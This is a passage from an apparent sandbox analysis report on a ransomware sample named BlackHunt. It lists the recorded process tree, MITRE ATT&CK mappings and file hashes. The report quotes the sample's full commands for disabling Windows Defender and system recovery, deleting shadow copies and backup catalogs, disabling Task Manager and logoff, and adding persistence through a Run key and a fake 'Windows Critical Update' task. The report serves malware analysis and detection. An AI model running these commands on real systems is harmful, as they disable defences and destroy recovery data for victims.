- Suspicious use of WriteProcessMemory
PID:2712 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2912
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2948 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵PID:2212
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2416
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2732
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2504
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2576
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:3048
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2688
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2608
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1528
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2672
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1224
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2556
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:2324
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2624
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:852
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2636
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1644
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:3024
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2420
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2460
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2160
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2192
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵
- Modifies registry class
PID:2212
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:112
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2676
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:1368
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2756
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:568
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1068
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:940
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:760
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2156
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3000
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2548
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:876
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2868
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1528
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1060
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1020
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2028
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:956
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1924
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1120
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1940
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1944
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1708
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2960
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2500
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:948
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1216
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2536
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe" /F2⤵PID:2860
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe" /F3⤵
- Creates scheduled task(s)
PID:1400
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1664
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2236
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2444
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2052
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2964
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:1312
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2968
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:3064
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:584
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:588
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:528
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1960
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2744
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2100
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2024
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1020
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1948
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2984
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1128
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1076
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2228
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1616
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:940
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:1140
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
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Downloads
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Filesize
12KB
MD5933bdb17ecfc8140348cab44d1b8624d
SHA101a8fed55e35f97dc0b4f60e65f2d5e323640f1d
SHA25613631a22a942445b90ea2b92c109730d9cd986fb5d848d50fa5c24d3a0debaa8
SHA5128c76301d894bdf645cac06caeb9d038439b8ef3257fadf4c8fb5aaccad4a562022584169e9a9a4e8b2224da802587ba5031a5927bfceaf435b563fb2ea48b513
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Filesize
684B
MD51c7a9db52240b24d5a29f422817a8d9d
SHA160f4d6f611d1f7bff2f93466f84721b3ac5f4af2
SHA256ae8a0e9048756baa75b1bbc2393020fb32eb918bbfb4cbce1fbf86909cd6fe25
SHA5126bf4f65c0f0b16f019801cfbba1c9ce03e501721aa82d969e08bca76d6151ac1c9064225a982fe4a2a54cf20ffd53f4f8bebbf955c1e0e4f0946fd429ba9de97
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Filesize
1KB
MD5401ffb1ecfb6ff4aa896b52ce024fb68
SHA167824386a29ad7c053bad527bb11b4e656adcd6a
SHA256f40c816ae42544bc5452d0d04f3e9e4c863bbf76a407c5a32952936d3efe7b09
SHA512c6f0cc39810391c551b084fc92d5741a968b1d06feb7e352841dee0cf6010f5f5c7f78dce9e3326435a25727e3c2e075e20db6239bf5ce9b30d7487e2cfb5543